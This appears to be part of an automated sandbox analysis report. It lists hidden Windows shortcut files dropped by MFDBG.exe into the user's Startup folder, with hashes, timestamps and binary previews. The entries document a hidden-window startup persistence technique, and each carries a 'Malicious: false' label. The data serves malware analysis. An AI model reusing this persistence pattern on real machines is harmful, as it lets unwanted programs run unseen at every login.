File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919599203448557
Encrypted:	false
SSDEEP:	24:8gnQBfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80e9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	DB778708682BA1CAC866C1FEAAF4FFAB
SHA1:	08EB9E26DCE5B1B0E8EC1FB386C6D76355FCC754
SHA-256:	203BA4CAC9F106AEB8A36F6F813AD89104A6DABB0B0D876A6D5590C492A2958D
SHA-512:	B0F9DE7E7BB7CBCF93D421761AFC4DFD70656F2A4E8D457DB4EAEB99D5C64EF613134AB7A1B0D9FBF7BEA2DB7B7E748A0633584EB8D18736768313CC15183F98
Malicious:	false
Preview:	L..................F....".......d...M..>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ba501dde41f43288c995ff49b6bb38a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920646446382626
Encrypted:	false
SSDEEP:	24:8XBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8x2EvZ0yRO7DLO2zdxdRd1kyg
MD5:	A3FB9E5053C7288ADF5CAB1165A3C16A
SHA1:	E9ED87C131770FBE88013D9F19A262B315B57BE4
SHA-256:	C863575C1F83EC748D3E0A0D5D818C6EFB9FC326DE881C15978DE58E12DA19D5
SHA-512:	004D2CF7F9378A8609BC03875AB47CA69CD0F7315D3010982B4CDB9DD69A90503FCED4F0D53A9C377950D5B620ACC96F1F46A1663B96D3D9955F9ED34DC92211
Malicious:	false
Preview:	L..................F....".......d...3..;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3..;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7c4adf9c905641a1a4d2f8e61c2266ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921569759546592
Encrypted:	false
SSDEEP:	24:8sBfR48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8inEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E2EF339BB31A99A6FDF4C853FCDEF020
SHA1:	EC03B7EAC4EAC2B49DF7D2587DB137038C2E0D53
SHA-256:	83BB8CA8C2A0BE77CCEBAEF1B13085F5E1908207B2BCA825AA6161B491E9ADDF
SHA-512:	B62396953C453D24D9364E561BD8397215FD8D63962E8DD67469994349D5B9C154BCFCEFD8E36F73E8F503A2970357B6F0AE6B4E1B728831D8862203970E83E7
Malicious:	false
Preview:	L..................F....".......d...}.9Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7c80bbb623d740f9b1e410ce4405f216.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925230678487203
Encrypted:	false
SSDEEP:	24:8cBfEX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ShEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EB8882CED68A2FF8EA879EB112D57AF0
SHA1:	15D7118969157964D664C44910897820BE9526E4
SHA-256:	1409A3C0BB9A5E993E7E11C209BBD3597B4E8CE1BE8F59663C11BEE98C7C6FF3
SHA-512:	B07444CB9BC438F164ADA3E858BC897D5217F3FF400FF7BFA9733F43553552DD407620A6102C5203F4386FD4B1C377FF9146145378A61E26CF481B64B754CD22
Malicious:	false
Preview:	L..................F....".......d...PB.}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ca3199d46a844849af028e8114382ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924565579366355
Encrypted:	false
SSDEEP:	24:8YBfR48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	71B19AB24AB8CB05F31636CF9D75ED0D
SHA1:	BD09FBEF9C2E711118E5D88ADE26FC0273875DE2
SHA-256:	FC9854BA7225B98320F5C1935DD88A92D8F4D9027BB0D9E201B33E7F32E294DE
SHA-512:	09A76FBD959F7155F676697BAB8189EC4D425E83AF779D11C374A67CE9508BDE3A7A72F8D9C49B09C6C38F1E33FB31C0AB76472DE72FF07730FC8AFCD5E89749
Malicious:	false
Preview:	L..................F....".......d...X.*Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d0b8c8912464810840f1e8c3d78c8b8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92827201645492
Encrypted:	false
SSDEEP:	24:8NBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/EEvZ0yRO7DLO2zdxdRd1kyg
MD5:	45670FD14DEE6CFC6392B5009D1C0B2E
SHA1:	C612810253FAA84C144831BDC449FD33CDCD0FC6
SHA-256:	9FA0EA7D23A7D10AD8877AF4FEC4EE5E4C4F0E2B5D02412613CA3CA96ADF3B60
SHA-512:	C67410AFF1D3EB30CD41AFBD3C3EA17DC75E57BDB9FF033BB3E5E3087FD1732AB630288EFAD94F542119B490BA8AF67F7D89A1AE8839B86FD2CCF16C9A8EDF89
Malicious:	false
Preview:	L..................F....".......d....u.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....c.;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d0cbaa295094eb4b26108e232b9064e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926734433537326
Encrypted:	false
SSDEEP:	24:85Bfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4771E098932F5BDC6EA611C66A078883
SHA1:	E81986F637F633D0A98A36165870D30C6C8687DE
SHA-256:	743F21D522B9BF0D8D935B9B502A71F22981F214CF76E3BF6BF9F43EA6B6D470
SHA-512:	2DA6AB06CFEF47E0ECA78D7697B822A133D5166625FBA46264914D00DFAC4400AE8A4440302CF8C514419FFF44F435C6BA770DFE014A9DFF43AC9F8E67CDD8FA
Malicious:	false
Preview:	L..................F....".......d...D}.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d2229ec4399460cb48bca3510528559.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928496548074769
Encrypted:	false
SSDEEP:	24:8RBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8r09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	880CFA78F06BDAD5E50FACB7BEF2A4C0
SHA1:	D67624C5CC4BD6915741AF562E44C5EE8E76E43F
SHA-256:	3921385ABCDEC04593E23BB9D076B97E384CEE3C85E8C88D01A3499B830C9ED1
SHA-512:	7AB86CC43D8F2191ED902F6CE247FC2ADE54E7F80F76E1D8198E086AE83A03199A1B3CC449C7E6D7791AD365A87B0D644B2D3C3A44395BC670B7D49FCDF2A5E8
Malicious:	false
Preview:	L..................F....".......d...D..Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d567442997040b7a263a333688cfccb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913229952288352
Encrypted:	false
SSDEEP:	24:8hBfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87REvZ0yRO7DLO2zdxdRd1kyg
MD5:	14B854A4B1ED904C918E10487089EB34
SHA1:	82973697442399D1A01B75427BBA31BF808C8BA0
SHA-256:	1F859976F52BC431379099015023A30010A57A2EDE9ABDA8ABBD5E15DFFE5EA7
SHA-512:	CCF850ABB3256F7815DFAD3D241F7835563487B47B3273F0E89019EC5040F2079F68085110AF1B93AFE91F0DED8F6D6D69ADA5BA1A789DEC5791F33CFAA19E81
Malicious:	false
Preview:	L..................F....".......d....M.?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d5defc5c3aa4fd4b37720cdc365337b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92897398251847
Encrypted:	false
SSDEEP:	24:8HBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D380B37F60DE6DC2C6B7101323839917
SHA1:	E94E71726A959F2F3382E4E40C29C26133BCF879
SHA-256:	F968196B0B6A2674AA641AB8435B21686D78ED73AB3311D7F64E642BE9D6C211
SHA-512:	549269C3095B56F455213906C9EC8F42791C780E332BC7843E0D385D0A40CF87D9595A5B2EA516C64AB5034738E215D7AF986D1FE33113FB68089069BE797087
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7e28c9c165e74099abc02004beea9134.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915456450285464
Encrypted:	false
SSDEEP:	24:8EBfmQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	77A3083CEE4F19EED5AA6961375F2762
SHA1:	E986745E6D1E71A8ED133741DF9DE82BE029DB78
SHA-256:	EC3EE7887E2A3413918214A4D87E95AC5C90B55CD36C0344B1891888CBE5C2F6
SHA-512:	60EA6D1761BE3BCE218376BFB9F5A4A6972201A69582A17773BF14CED4B748C9652759545CD1EDAF9EC6BC252582EB062B106A4CD7CF2F4928814BE0BE68BA66
Malicious:	false
Preview:	L..................F....".......d...f..9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....).9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ebb0bbdfa914378abcafc175313d763.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922143666100042
Encrypted:	false
SSDEEP:	24:8T3Bfn8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7849F9B297B8FDA2119CD9FD44872E71
SHA1:	16B30161C26C2D5FE971E52D1E9BF6152E055752
SHA-256:	5C7A07CCFF0553899610415D087EB02E74734E3C2947315887AE802DC26E8F2B
SHA-512:	529D238691DF2B55D1D8C5425EDCABDA8786E05F5A0E30DF92D9330012524FAE5424BB8EAE730C48B431A07CCE411AADB287A80CB6313197A3D6D09782FDD88F
Malicious:	false
Preview:	L..................F....".......d...No.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...l..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ee462d1dbb040b0bf5d46799f4f8f41.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922013511567024
Encrypted:	false
SSDEEP:	24:8qBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	28581A2FAF4B849D24AE2FAD26548128
SHA1:	F7AB9A5CB64DF630A4C20C049AF7779A2C10C0FC
SHA-256:	498DCCD4FB8A3A05CC4E80059EBD0A2C9BD0BEDDC4AB2A3C644CD55AC57C3673
SHA-512:	78DE434DE286A0EB26DC3B5C962305D761A240FCBBAD0D13017F55D81AFDB67E9D9F0575194AF9ED123911232CEC838E0939EEA13772DDB0D5AB8E14546555B5
Malicious:	false
Preview:	L..................F....".......d...v..%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f13efdf0dcc4b7ebbcafc674cd972dd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
